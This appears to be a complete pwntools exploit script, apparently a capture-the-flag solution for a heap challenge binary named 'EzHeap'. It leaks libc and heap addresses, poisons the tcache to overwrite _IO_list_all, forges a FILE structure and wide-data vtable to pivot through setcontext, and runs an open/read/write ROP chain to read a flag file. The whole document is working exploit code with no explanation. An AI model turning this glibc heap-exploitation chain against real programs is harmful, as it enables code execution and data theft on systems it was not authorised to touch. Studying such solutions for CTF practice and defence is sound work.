1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165
| from pwn import*
context.log_level = 'debug' p = process('./EzHeap') elf=ELF('./EzHeap') libc=ELF('./libc.so.6')
def add(size, content): p.sendlineafter('choice >> ', b'1') p.sendlineafter('size:', str(size).encode()) p.sendafter('content:', content)
def delete(idx): p.sendlineafter('choice >> ', b'2') p.sendlineafter('idx:', str(idx).encode())
def edit(idx,size, content): p.sendlineafter('choice >> ', b'3') p.sendlineafter('idx:', str(idx).encode()) p.sendlineafter('size:', str(size).encode()) p.sendlineafter('content:', content)
def show(idx): p.sendlineafter('choice >> ', b'4') p.sendlineafter('idx:', str(idx).encode())
def exit_f(): p.sendlineafter('choice >> ', b'5')
for i in range(0,9): add(0x400,b'a')
for i in range(0,8): delete(i)
for i in range(7): add(0x400,b'a')
add(0x500,b'a')
edit(0,0x410,b'a'*0x410) show(0) p.recvuntil('a'*0x410) libc_base = u64(p.recv(6).ljust(8,b'\x00'))-0x21b0d0 print("libc_base = ", hex(libc_base))
edit(0,0x421,b'a'*0x421) show(0) p.recvuntil('a'*0x421) heap_base = u64(p.recv(5).ljust(8,b'\x00')) *0x100-0x3f00 print("heap_base = ", hex(heap_base))
edit(0,0x421,b'a'*0x400+p64(0)+p64(0x411)+p64(libc_base+0x21b0d0)*2+b'\x00')
rdi=libc_base+0x000000000002a3e5 rsi=libc_base+0x000000000002be51 rdxr12=libc_base+0x000000000011f2e7 ret=libc_base+0x0000000000029cd6 rax=libc_base+0x0000000000045eb0 syscall = libc_base+0x91316 stderr=libc_base+libc.sym['stderr'] _IO_2_1_stdin_=libc_base+libc.sym['_IO_2_1_stdin_'] _IO_2_1_stdout_=libc_base+libc.sym['_IO_2_1_stdout_'] _IO_2_1_stderr_=libc_base+libc.sym['_IO_2_1_stderr_'] _IO_wfile_jumps = libc_base+0x2170c0 io_list_all = libc_base+libc.sym['_IO_list_all'] setcontext=libc_base+libc.sym['setcontext'] close=libc_base+libc.sym['close'] open_f=libc_base+libc.sym['open'] read=libc_base+libc.sym['read'] write=libc_base+libc.sym['write'] setcontext=libc_base+libc.sym['setcontext']
key=(heap_base)>>12
add(0x40,b'9') add(0x40,b'10') add(0x40,b'11') add(0x40,b'12') add(0x40,b'13') add(0x40,b'14')
delete(9) delete(14)
edit(13,0x60,b'a'*0x40+p64(0)+p64(0x51)+p64((io_list_all)^ key)+p64(0))
fake_file = heap_base+0x3b00 fake_wide_data = fake_file + 0x100 fake_vtable = fake_wide_data+0x100 ''' payload = p64(0x800) payload = payload.ljust(0xa0,b'\x00') payload += p64(fake_wide_data) payload = payload.ljust(0xc0,b'\x00') payload += p64(1) payload = payload.ljust(0xd8,b'\x00') payload += p64(_IO_wfile_jumps-0x18) payload = payload.ljust(0x120,b'\x00') payload += p64(1) payload = payload.ljust(0x1e0,b'\x00') payload += p64(fake_vtable) payload = payload.ljust(0x218,b'\x00') payload += p64(0xdeadbeef) payload += p64(0) ''' next_chain = 0 fake_IO_FILE=p64(rdi) fake_IO_FILE+=p64(0)*7 fake_IO_FILE +=p64(1)+p64(2) fake_IO_FILE +=p64(fake_file+0xb0) fake_IO_FILE +=p64(setcontext+61) fake_IO_FILE = fake_IO_FILE.ljust(0x68, b'\x00') fake_IO_FILE += p64(0) fake_IO_FILE = fake_IO_FILE.ljust(0x88, b'\x00') fake_IO_FILE += p64(heap_base+0x1000) fake_IO_FILE = fake_IO_FILE.ljust(0xa0, b'\x00') fake_IO_FILE +=p64(fake_file+0x30) fake_IO_FILE = fake_IO_FILE.ljust(0xc0, b'\x00') fake_IO_FILE += p64(1) fake_IO_FILE = fake_IO_FILE.ljust(0xd8, b'\x00') fake_IO_FILE += p64(_IO_wfile_jumps+0x30) fake_IO_FILE +=p64(0)*6 fake_IO_FILE += p64(fake_file+0x40)
flag_addr = heap_base+0x4e0
edit(0,0x420,fake_IO_FILE+p64(flag_addr)+p64(0)*5+p64(0x4c40+heap_base)+p64(0x4c40+heap_base)+p64(ret))
rop = p64(rdi)+p64(flag_addr)+p64(rsi)+p64(0)+p64(rdxr12)+p64(0)+ p64(0) + p64(rax) + p64(2) + p64(syscall) rop += p64(rdi)+p64(3)+p64(rsi)+p64(heap_base+0x1000)+p64(rdxr12)+p64(0x100)+p64(0)+p64(read) rop += p64(rdi)+p64(1)+p64(rsi)+p64(heap_base+0x1000)+p64(rdxr12)+p64(0x100)+p64(0)+p64(write)
add(0x4e0,rop)
print("libc_base = ", hex(libc_base)) print("heap_base = ", hex(heap_base))
add(0x40,b'flag')
add(0x40,p64(fake_file))
exit_f()
p.interactive()
|